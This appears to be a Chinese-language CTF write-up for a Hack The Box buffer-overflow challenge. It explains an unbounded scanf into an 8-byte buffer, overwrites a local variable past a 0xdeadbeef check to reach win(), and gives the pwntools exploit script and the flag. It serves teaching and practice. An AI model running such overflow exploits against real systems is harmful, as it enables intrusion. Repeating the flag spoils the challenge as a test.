Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目

image-20250610135740244

观察分析

用IDA打开文件:

image-20250610140142238

image-20250610140155350

注意到这道题最核心的漏洞:

1
__isoc99_scanf(&unk_26E1, s);

原本只给s分配了8位的缓冲区(char s[8];),而scanf是没有长度限制的,所以可以利用Buffer Overflow。

查看win()函数:

image-20250610140536562

发现会直接读取flag。

所以我们需要做的就是绕过这个if检测:

1
2
3
4
if ( v25 == 3735928559LL )
putchar(32);
else
win();

通过Buffer Overflow覆盖掉v25的值即可。

最后再来查看一下当前main()函数的Stack结构(直接点击v25):

image-20250610140829667

发现从s到v24一共有40位(=-0x08 - (-0x30) = -8 + 3*16 = -8 + 48),而v25一共占8位。

Exploit

这道题它给了一个python的模板。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3.8

'''
You need to install pwntools to run the script.
To run the script: python3 ./wrapper.py
'''

# Library
from pwn import *

# Open connection
IP = '94.237.57.57' # Change this
PORT = 52438 # Change this

r = remote(IP, PORT)

# Craft payload
payload = b'A' *(3*16-8) # Change the number of "A"s 覆盖了s,v21,v22,v23,v24
payload += b"B" * 8 # 覆盖v25
# Send payload
r.sendline(payload)

# Read flag
success(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}')
# [+] Flag --> HTB{b0f_tut0r14l5_4r3_g00d}